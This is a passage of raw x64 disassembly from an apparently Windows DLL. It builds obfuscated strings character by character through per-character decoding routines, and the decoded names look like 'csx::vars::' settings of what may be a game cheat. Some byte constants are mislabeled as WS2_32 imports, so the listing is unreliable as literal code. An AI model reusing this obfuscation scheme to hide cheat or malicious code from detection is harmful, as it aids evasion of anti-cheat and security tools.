mov byte [rsp + 0xa6f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0xa70], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xa71], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xa72], al
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0xa73], al
mov cl, 0x5f
call fcn.1800bfe20
mov byte [rsp + 0xa74], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0xa75], al
mov cl, 0x75
call fcn.1800bfe20
mov byte [rsp + 0xa76], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfe20
mov byte [rsp + 0xa77], al
mov cl, 0x65
call fcn.1800bfe20
mov byte [rsp + 0xa78], al
mov cl, WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0xa79], al
mov cl, 0x5f
call fcn.1800bfe20
mov byte [rsp + 0xa7a], al
mov cl, 0x6a
call fcn.1800bfe20
mov byte [rsp + 0xa7b], al
mov cl, 0x75
call fcn.1800bfe20
mov byte [rsp + 0xa7c], al
mov cl, 0x6d
call fcn.1800bfe20
mov byte [rsp + 0xa7d], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfe20
mov byte [rsp + 0xa7e], al
xor ecx, ecx
call fcn.1800bfe20
mov byte [rsp + 0xa7f], al
movups xmm0, xmmword [rsp + 0xa68]
movups xmmword [rsp + 0x22e8], xmm0
movsd xmm1, qword [rsp + 0xa78]
movsd qword [rsp + 0x22f8], xmm1
lea rax, [rsp + 0x22e8]
mov qword [rsp + 0x4a30], rax
lea rcx, [rsp + 0x37b0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x37b0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1268], esi
cmp esi, 0x18
jge 0x18007ed92
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x22e8]
call fcn.1800c0b60
movzx ecx, byte [rax]
call fcn.1800bfe20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x37b0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1268], esi
jmp 0x18007ed52
lea rcx, [rsp + 0x37b0]
call fcn.18000ce90
mov qword [rsp + 0x2470], rax
lea r8, [0x1801eaeb2]
lea rdx, [rsp + 0x2470]
lea rcx, [rsp + 0x6070]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1580], xmm0
mov dword [rsp + 0x1590], eax
mov word [rsp + 0x1594], ax
mov byte [rsp + 0x1596], al
mov cl, 0x63
call fcn.1800bff20
mov byte [rsp + 0x348], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff20
mov byte [rsp + 0x349], al
mov cl, 0x78
call fcn.1800bff20
mov byte [rsp + 0x34a], al
mov cl, 0x3a
call fcn.1800bff20
mov byte [rsp + 0x34b], al
mov cl, 0x3a
call fcn.1800bff20
mov byte [rsp + 0x34c], al
mov cl, 0x76
call fcn.1800bff20
mov byte [rsp + 0x34d], al
mov cl, 0x61
call fcn.1800bff20
mov byte [rsp + 0x34e], al
mov cl, WSAStartup
call fcn.1800bff20
mov byte [rsp + 0x34f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff20
mov byte [rsp + 0x350], al
mov cl, 0x3a
call fcn.1800bff20
mov byte [rsp + 0x351], al
mov cl, 0x3a
call fcn.1800bff20
mov byte [rsp + 0x352], al
mov cl, 0x63
call fcn.1800bff20
mov byte [rsp + 0x353], al
mov cl, 0x5f
call fcn.1800bff20
mov byte [rsp + 0x354], al
mov cl, WSAStartup
call fcn.1800bff20
mov byte [rsp + 0x355], al
mov cl, 0x75
call fcn.1800bff20
mov byte [rsp + 0x356], al
mov cl, WSAGetLastError
call fcn.1800bff20
mov byte [rsp + 0x357], al
mov cl, 0x5f
call fcn.1800bff20
mov byte [rsp + 0x358], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff20
mov byte [rsp + 0x359], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bff20
mov byte [rsp + 0x35a], al
mov cl, 0x65
call fcn.1800bff20
mov byte [rsp + 0x35b], al
mov cl, 0x65
call fcn.1800bff20
mov byte [rsp + 0x35c], al
mov cl, 0x64
call fcn.1800bff20
mov byte [rsp + 0x35d], al
xor ecx, ecx
call fcn.1800bff20
mov byte [rsp + 0x35e], al
movups xmm0, xmmword [rsp + 0x348]
movups xmmword [rsp + 0x1580], xmm0
mov ecx, dword [rsp + 0x358]
mov dword [rsp + 0x1590], ecx
movzx ecx, word [rsp + 0x35c]
mov word [rsp + 0x1594], cx
mov byte [rsp + 0x1596], al
lea rax, [rsp + 0x1580]
mov qword [rsp + 0x4a38], rax
lea rcx, [rsp + 0x3790]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x3790]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1264], esi
cmp esi, 0x17
jge 0x18007efd7
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1580]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bff20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3790]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1264], esi
jmp 0x18007ef97
lea rcx, [rsp + 0x3790]
call fcn.18000ce90
mov qword [rsp + 0x2468], rax
lea r8, [0x1801eae96]
lea rdx, [rsp + 0x2468]
lea rcx, [rsp + 0x60a0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1958], xmm0
mov dword [rsp + 0x1968], eax
mov word [rsp + 0x196c], ax
mov cl, 0x63
call fcn.1800bff10
mov byte [rsp + 0x158], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff10
mov byte [rsp + 0x159], al
mov cl, 0x78
call fcn.1800bff10
mov byte [rsp + 0x15a], al
mov cl, 0x3a
call fcn.1800bff10
mov byte [rsp + 0x15b], al
mov cl, 0x3a
call fcn.1800bff10
mov byte [rsp + 0x15c], al
mov cl, 0x76
call fcn.1800bff10
mov byte [rsp + 0x15d], al
mov cl, 0x61
call fcn.1800bff10
mov byte [rsp + 0x15e], al
mov cl, WSAStartup
call fcn.1800bff10
mov byte [rsp + 0x15f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff10
mov byte [rsp + 0x160], al
mov cl, 0x3a
call fcn.1800bff10
mov byte [rsp + 0x161], al
mov cl, 0x3a
call fcn.1800bff10
mov byte [rsp + 0x162], al
mov cl, WSAGetLastError
call fcn.1800bff10
mov byte [rsp + 0x163], al
mov cl, 0x65
call fcn.1800bff10
mov byte [rsp + 0x164], al
mov cl, 0x77
call fcn.1800bff10
mov byte [rsp + 0x165], al
mov cl, 0x5f
call fcn.1800bff10
mov byte [rsp + 0x166], al
mov cl, WSAGetLastError
call fcn.1800bff10
mov byte [rsp + 0x167], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff10
mov byte [rsp + 0x168], al
mov cl, 0x63
call fcn.1800bff10
mov byte [rsp + 0x169], al
mov cl, 0x6c
call fcn.1800bff10
mov byte [rsp + 0x16a], al
mov cl, 0x69
call fcn.1800bff10
mov byte [rsp + 0x16b], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bff10
mov byte [rsp + 0x16c], al
xor ecx, ecx
call fcn.1800bff10
mov byte [rsp + 0x16d], al
movups xmm0, xmmword [rsp + 0x158]
movups xmmword [rsp + 0x1958], xmm0
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x1968], eax
movzx eax, word [rsp + 0x16c]
mov word [rsp + 0x196c], ax
lea rax, [rsp + 0x1958]
mov qword [rsp + 0x4a40], rax
lea rcx, [rsp + 0x3770]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x3770]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1260], esi
cmp esi, 0x16
jge 0x18007f200
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1958]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bff10
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3770]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1260], esi
jmp 0x18007f1c0
lea rcx, [rsp + 0x3770]
call fcn.18000ce90
mov qword [rsp + 0x2460], rax
lea r8, [0x1801eaec1]
lea rdx, [rsp + 0x2460]
lea rcx, [rsp + 0x60d0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1828], xmm0
mov qword [rsp + 0x1838], rax
mov word [rsp + 0x1840], ax
mov byte [rsp + 0x1842], al
mov cl, 0x63
call fcn.1800bff00
mov byte [rsp + 0x700], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff00
mov byte [rsp + 0x701], al
mov cl, 0x78
call fcn.1800bff00
mov byte [rsp + 0x702], al
mov cl, 0x3a
call fcn.1800bff00
mov byte [rsp + 0x703], al
mov cl, 0x3a
call fcn.1800bff00
mov byte [rsp + 0x704], al
mov cl, 0x76
call fcn.1800bff00
mov byte [rsp + 0x705], al
mov cl, 0x61
call fcn.1800bff00
mov byte [rsp + 0x706], al
mov cl, WSAStartup
call fcn.1800bff00
mov byte [rsp + 0x707], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff00
mov byte [rsp + 0x708], al
mov cl, 0x3a
call fcn.1800bff00
mov byte [rsp + 0x709], al
mov cl, 0x3a
call fcn.1800bff00
mov byte [rsp + 0x70a], al
mov cl, 0x63
call fcn.1800bff00
mov byte [rsp + 0x70b], al
mov cl, 0x5f
call fcn.1800bff00
mov byte [rsp + 0x70c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff00
mov byte [rsp + 0x70d], al
mov cl, 0x77
call fcn.1800bff00
mov byte [rsp + 0x70e], al
mov cl, 0x69
call fcn.1800bff00
mov byte [rsp + 0x70f], al
mov cl, 0x6d
call fcn.1800bff00
mov byte [rsp + 0x710], al
mov cl, 0x5f
call fcn.1800bff00
mov byte [rsp + 0x711], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff00
mov byte [rsp + 0x712], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bff00
mov byte [rsp + 0x713], al
mov cl, 0x65
call fcn.1800bff00
mov byte [rsp + 0x714], al
mov cl, 0x65
call fcn.1800bff00
mov byte [rsp + 0x715], al
mov cl, 0x64
call fcn.1800bff00
mov byte [rsp + 0x716], al
mov cl, 0x5f
call fcn.1800bff00
mov byte [rsp + 0x717], al
mov cl, 0x65
call fcn.1800bff00
mov byte [rsp + 0x718], al
mov cl, 0x62
call fcn.1800bff00
mov byte [rsp + 0x719], al
xor ecx, ecx
call fcn.1800bff00
mov byte [rsp + 0x71a], al
movups xmm0, xmmword [rsp + 0x700]
movups xmmword [rsp + 0x1828], xmm0
movsd xmm1, qword [rsp + 0x710]
movsd qword [rsp + 0x1838], xmm1
movzx ecx, word [rsp + 0x718]
mov word [rsp + 0x1840], cx
mov byte [rsp + 0x1842], al
lea rax, [rsp + 0x1828]
mov qword [rsp + 0x4a48], rax
lea rcx, [rsp + 0x3750]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1b]
lea rcx, [rsp + 0x3750]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x125c], esi
cmp esi, 0x1b
jge 0x18007f482
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1828]
call fcn.1800c0a10
movzx ecx, byte [rax]
call fcn.1800bff00
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3750]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x125c], esi
jmp 0x18007f442
lea rcx, [rsp + 0x3750]
call fcn.18000ce90
mov qword [rsp + 0x2458], rax
lea r8, [0x1801eae72]
lea rdx, [rsp + 0x2458]
lea rcx, [rsp + 0x6100]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1568], xmm0
mov dword [rsp + 0x1578], eax
mov word [rsp + 0x157c], ax
mov byte [rsp + 0x157e], al
mov cl, 0x63
call fcn.1800bfef0
mov byte [rsp + 0x360], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfef0
mov byte [rsp + 0x361], al
mov cl, 0x78
call fcn.1800bfef0
mov byte [rsp + 0x362], al
mov cl, 0x3a
call fcn.1800bfef0
mov byte [rsp + 0x363], al
mov cl, 0x3a
call fcn.1800bfef0
mov byte [rsp + 0x364], al
mov cl, 0x76
call fcn.1800bfef0
mov byte [rsp + 0x365], al
mov cl, 0x61
call fcn.1800bfef0
mov byte [rsp + 0x366], al
mov cl, WSAStartup
call fcn.1800bfef0
mov byte [rsp + 0x367], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfef0
mov byte [rsp + 0x368], al
mov cl, 0x3a
call fcn.1800bfef0
mov byte [rsp + 0x369], al
mov cl, 0x3a
call fcn.1800bfef0
mov byte [rsp + 0x36a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfef0
mov byte [rsp + 0x36b], al
mov cl, 0x61
call fcn.1800bfef0
mov byte [rsp + 0x36c], al
mov cl, WSAStartup
call fcn.1800bfef0
mov byte [rsp + 0x36d], al
mov cl, 0x67
call fcn.1800bfef0
mov byte [rsp + 0x36e], al
mov cl, 0x65
call fcn.1800bfef0
mov byte [rsp + 0x36f], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfef0
mov byte [rsp + 0x370], al
mov cl, 0x5f
call fcn.1800bfef0
mov byte [rsp + 0x371], al
mov cl, 0x64
call fcn.1800bfef0
mov byte [rsp + 0x372], al
mov cl, 0x65
call fcn.1800bfef0
mov byte [rsp + 0x373], al
mov cl, 0x61
call fcn.1800bfef0
mov byte [rsp + 0x374], al
mov cl, 0x64
call fcn.1800bfef0
mov byte [rsp + 0x375], al
xor ecx, ecx
call fcn.1800bfef0
mov byte [rsp + 0x376], al
movups xmm0, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x1568], xmm0
mov ecx, dword [rsp + 0x370]
mov dword [rsp + 0x1578], ecx
movzx ecx, word [rsp + 0x374]
mov word [rsp + 0x157c], cx
mov byte [rsp + 0x157e], al
lea rax, [rsp + 0x1568]
mov qword [rsp + 0x4a50], rax
lea rcx, [rsp + 0x3730]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x3730]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1258], esi
cmp esi, 0x17
jge 0x18007f6c7
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1568]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bfef0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3730]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1258], esi
jmp 0x18007f687
lea rcx, [rsp + 0x3730]
call fcn.18000ce90
mov qword [rsp + 0x2450], rax
lea r8, [0x1801eab26]
lea rdx, [rsp + 0x2450]
lea rcx, [rsp + 0x6130]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1550], xmm0
mov dword [rsp + 0x1560], eax
mov word [rsp + 0x1564], ax
mov byte [rsp + 0x1566], al
mov cl, 0x63
call fcn.1800bfc80
mov byte [rsp + 0x378], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfc80
mov byte [rsp + 0x379], al
mov cl, 0x78
call fcn.1800bfc80
mov byte [rsp + 0x37a], al
mov cl, 0x3a
call fcn.1800bfc80
mov byte [rsp + 0x37b], al
mov cl, 0x3a
call fcn.1800bfc80
mov byte [rsp + 0x37c], al
mov cl, 0x76
call fcn.1800bfc80
mov byte [rsp + 0x37d], al
mov cl, 0x61
call fcn.1800bfc80
mov byte [rsp + 0x37e], al
mov cl, WSAStartup
call fcn.1800bfc80
mov byte [rsp + 0x37f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfc80
mov byte [rsp + 0x380], al
mov cl, 0x3a
call fcn.1800bfc80
mov byte [rsp + 0x381], al
mov cl, 0x3a
call fcn.1800bfc80
mov byte [rsp + 0x382], al
mov cl, 0x76
call fcn.1800bfc80
mov byte [rsp + 0x383], al
mov cl, 0x65
call fcn.1800bfc80
mov byte [rsp + 0x384], al
mov cl, 0x68
call fcn.1800bfc80
mov byte [rsp + 0x385], al
mov cl, 0x69
call fcn.1800bfc80
mov byte [rsp + 0x386], al
mov cl, 0x63
call fcn.1800bfc80
mov byte [rsp + 0x387], al
mov cl, 0x6c
call fcn.1800bfc80
mov byte [rsp + 0x388], al
mov cl, 0x65
call fcn.1800bfc80
mov byte [rsp + 0x389], al
mov cl, 0x5f
call fcn.1800bfc80
mov byte [rsp + 0x38a], al
mov cl, 0x61
call fcn.1800bfc80
mov byte [rsp + 0x38b], al
mov cl, 0x63
call fcn.1800bfc80
mov byte [rsp + 0x38c], al
mov cl, 0x63
call fcn.1800bfc80
mov byte [rsp + 0x38d], al
xor ecx, ecx
call fcn.1800bfc80
mov byte [rsp + 0x38e], al
movups xmm0, xmmword [rsp + 0x378]
movups xmmword [rsp + 0x1550], xmm0
mov ecx, dword [rsp + 0x388]
mov dword [rsp + 0x1560], ecx
movzx ecx, word [rsp + 0x38c]
mov word [rsp + 0x1564], cx
mov byte [rsp + 0x1566], al
lea rax, [rsp + 0x1550]
mov qword [rsp + 0x4a58], rax
lea rcx, [rsp + 0x3710]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x3710]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1254], esi
nop dword [rax]
cmp esi, 0x17
jge 0x18007f910
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1550]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bfc80
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3710]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1254], esi
jmp 0x18007f8d0
lea rcx, [rsp + 0x3710]
call fcn.18000ce90
mov qword [rsp + 0x2448], rax
lea r8, [0x1801eae7b]
lea rdx, [rsp + 0x2448]
lea rcx, [rsp + 0x6160]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2018], xmm0
mov dword [rsp + 0x2028], eax
mov cl, 0x63
call fcn.1800bfee0
mov byte [rsp + 0x8d0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfee0
mov byte [rsp + 0x8d1], al
mov cl, 0x78
call fcn.1800bfee0
mov byte [rsp + 0x8d2], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x8d3], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x8d4], al
mov cl, 0x76
call fcn.1800bfee0
mov byte [rsp + 0x8d5], al
mov cl, 0x61
call fcn.1800bfee0
mov byte [rsp + 0x8d6], al
mov cl, WSAStartup
call fcn.1800bfee0
mov byte [rsp + 0x8d7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfee0
mov byte [rsp + 0x8d8], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x8d9], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x8da], al
mov cl, 0x63
call fcn.1800bfee0
mov byte [rsp + 0x8db], al
mov cl, 0x5f
call fcn.1800bfee0
mov byte [rsp + 0x8dc], al
mov cl, 0x61
call fcn.1800bfee0
mov byte [rsp + 0x8dd], al
mov cl, 0x69
call fcn.1800bfee0
mov byte [rsp + 0x8de], al
mov cl, 0x6d
call fcn.1800bfee0
mov byte [rsp + 0x8df], al
mov cl, 0x62
call fcn.1800bfee0
mov byte [rsp + 0x8e0], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfee0
mov byte [rsp + 0x8e1], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfee0
mov byte [rsp + 0x8e2], al
xor ecx, ecx
call fcn.1800bfee0
mov byte [rsp + 0x8e3], al
movups xmm0, xmmword [rsp + 0x8d0]
movups xmmword [rsp + 0x2018], xmm0
mov eax, dword [rsp + 0x8e0]
mov dword [rsp + 0x2028], eax
lea rax, [rsp + 0x2018]
mov qword [rsp + 0x4a60], rax
lea rcx, [rsp + 0x36f0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x36f0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1250], esi
cmp esi, 0x14
jge 0x18007fb05
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2018]
call fcn.1800c0c20
movzx ecx, byte [rax]
call fcn.1800bfee0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x36f0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1250], esi
jmp 0x18007fac5
lea rcx, [rsp + 0x36f0]
call fcn.18000ce90
mov qword [rsp + 0x2440], rax
lea r8, [0x1801eae81]
lea rdx, [rsp + 0x2440]
lea rcx, [rsp + 0x6190]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1a70], xmm0
mov qword [rsp + 0x1a80], rax
mov dword [rsp + 0x1a88], eax
mov byte [rsp + 0x1a8c], al
mov cl, 0x63
call fcn.1800bfed0
mov byte [rsp + 0x858], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfed0
mov byte [rsp + 0x859], al
mov cl, 0x78
call fcn.1800bfed0
mov byte [rsp + 0x85a], al
mov cl, 0x3a
call fcn.1800bfed0
mov byte [rsp + 0x85b], al
mov cl, 0x3a
call fcn.1800bfed0
mov byte [rsp + 0x85c], al
mov cl, 0x76
call fcn.1800bfed0
mov byte [rsp + 0x85d], al
mov cl, 0x61
call fcn.1800bfed0
mov byte [rsp + 0x85e], al
mov cl, WSAStartup
call fcn.1800bfed0
mov byte [rsp + 0x85f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfed0
mov byte [rsp + 0x860], al
mov cl, 0x3a
call fcn.1800bfed0
mov byte [rsp + 0x861], al
mov cl, 0x3a
call fcn.1800bfed0
mov byte [rsp + 0x862], al
mov cl, 0x61
call fcn.1800bfed0
mov byte [rsp + 0x863], al
mov cl, 0x69
call fcn.1800bfed0
mov byte [rsp + 0x864], al
mov cl, 0x6d
call fcn.1800bfed0
mov byte [rsp + 0x865], al
mov cl, 0x62
call fcn.1800bfed0
mov byte [rsp + 0x866], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfed0
mov byte [rsp + 0x867], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfed0
mov byte [rsp + 0x868], al
mov cl, 0x5f
call fcn.1800bfed0
mov byte [rsp + 0x869], al
mov cl, 0x61
call fcn.1800bfed0
mov byte [rsp + 0x86a], al
mov cl, 0x69
call fcn.1800bfed0
mov byte [rsp + 0x86b], al
mov cl, 0x6d
call fcn.1800bfed0
mov byte [rsp + 0x86c], al
mov cl, 0x5f
call fcn.1800bfed0
mov byte [rsp + 0x86d], al
mov cl, 0x61
call fcn.1800bfed0
mov byte [rsp + 0x86e], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfed0
mov byte [rsp + 0x86f], al
mov cl, 0x5f
call fcn.1800bfed0
mov byte [rsp + 0x870], al
mov cl, WSAGetLastError
call fcn.1800bfed0
mov byte [rsp + 0x871], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfed0
mov byte [rsp + 0x872], al
mov cl, 0x63
call fcn.1800bfed0
mov byte [rsp + 0x873], al
xor ecx, ecx
call fcn.1800bfed0
mov byte [rsp + 0x874], al
movups xmm0, xmmword [rsp + 0x858]
movups xmmword [rsp + 0x1a70], xmm0
movsd xmm1, qword [rsp + 0x868]
movsd qword [rsp + 0x1a80], xmm1
mov ecx, dword [rsp + 0x870]
mov dword [rsp + 0x1a88], ecx
mov byte [rsp + 0x1a8c], al
lea rax, [rsp + 0x1a70]
mov qword [rsp + 0x4a68], rax
lea rcx, [rsp + 0x36d0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1d]
lea rcx, [rsp + 0x36d0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x124c], esi
cmp esi, 0x1d
jge 0x18007fda0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1a70]
call fcn.1800c0310
movzx ecx, byte [rax]
call fcn.1800bfed0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x36d0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x124c], esi
jmp 0x18007fd60
lea rcx, [rsp + 0x36d0]
call fcn.18000ce90
mov qword [rsp + 0x2438], rax
lea r8, [0x1801eae78]
lea rdx, [rsp + 0x2438]
lea rcx, [rsp + 0x61c0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x26b8], xmm0
movups xmmword [rsp + 0x26c8], xmm0
mov byte [rsp + 0x26d8], al
mov cl, 0x63
call fcn.1800bfcb0
mov byte [rsp + 0xcf0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcb0
mov byte [rsp + 0xcf1], al
mov cl, 0x78
call fcn.1800bfcb0
mov byte [rsp + 0xcf2], al
mov cl, 0x3a
call fcn.1800bfcb0
mov byte [rsp + 0xcf3], al
mov cl, 0x3a
call fcn.1800bfcb0
mov byte [rsp + 0xcf4], al
mov cl, 0x76
call fcn.1800bfcb0
mov byte [rsp + 0xcf5], al
mov cl, 0x61
call fcn.1800bfcb0
mov byte [rsp + 0xcf6], al
mov cl, WSAStartup
call fcn.1800bfcb0
mov byte [rsp + 0xcf7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfcb0
mov byte [rsp + 0xcf8], al
mov cl, 0x3a
call fcn.1800bfcb0
mov byte [rsp + 0xcf9], al
mov cl, 0x3a
call fcn.1800bfcb0
mov byte [rsp + 0xcfa], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfcb0
mov byte [rsp + 0xcfb], al
mov cl, WSAStartup
call fcn.1800bfcb0
mov byte [rsp + 0xcfc], al
mov cl, 0x65
call fcn.1800bfcb0
mov byte [rsp + 0xcfd], al
mov cl, 0x76
call fcn.1800bfcb0
mov byte [rsp + 0xcfe], al
mov cl, 0x69
call fcn.1800bfcb0
mov byte [rsp + 0xcff], al
mov cl, 0x65
call fcn.1800bfcb0
mov byte [rsp + 0xd00], al
mov cl, 0x77
call fcn.1800bfcb0
mov byte [rsp + 0xd01], al
mov cl, 0x5f
call fcn.1800bfcb0
mov byte [rsp + 0xd02], al
mov cl, 0x61
call fcn.1800bfcb0
mov byte [rsp + 0xd03], al
mov cl, 0x69
call fcn.1800bfcb0
mov byte [rsp + 0xd04], al
mov cl, 0x6d
call fcn.1800bfcb0
mov byte [rsp + 0xd05], al
mov cl, 0x62
call fcn.1800bfcb0
mov byte [rsp + 0xd06], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfcb0
mov byte [rsp + 0xd07], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcb0
mov byte [rsp + 0xd08], al
mov cl, 0x5f
call fcn.1800bfcb0
mov byte [rsp + 0xd09], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcb0
mov byte [rsp + 0xd0a], al
mov cl, 0x61
call fcn.1800bfcb0
mov byte [rsp + 0xd0b], al
mov cl, WSAStartup
call fcn.1800bfcb0
mov byte [rsp + 0xd0c], al
mov cl, 0x67
call fcn.1800bfcb0
mov byte [rsp + 0xd0d], al
mov cl, 0x65
call fcn.1800bfcb0
mov byte [rsp + 0xd0e], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcb0
mov byte [rsp + 0xd0f], al
xor ecx, ecx
call fcn.1800bfcb0
mov byte [rsp + 0xd10], al
movups xmm0, xmmword [rsp + 0xcf0]
movups xmmword [rsp + 0x26b8], xmm0
movups xmm1, xmmword [rsp + 0xd00]
movups xmmword [rsp + 0x26c8], xmm1
mov byte [rsp + 0x26d8], al
lea rax, [rsp + 0x26b8]
mov qword [rsp + 0x4a70], rax
lea rcx, [rsp + 0x36b0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x21]
lea rcx, [rsp + 0x36b0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1248], esi
nop dword [rax]
cmp esi, 0x21
jge 0x180080060
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x26b8]
call fcn.1800c0270
movzx ecx, byte [rax]
call fcn.1800bfcb0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x36b0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1248], esi
jmp 0x180080020
lea rcx, [rsp + 0x36b0]
call fcn.18000ce90
mov qword [rsp + 0x2430], rax
lea r8, [0x1801eae83]
lea rdx, [rsp + 0x2430]
lea rcx, [rsp + 0x61f0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1ad0], xmm0
mov word [rsp + 0x1ae0], ax
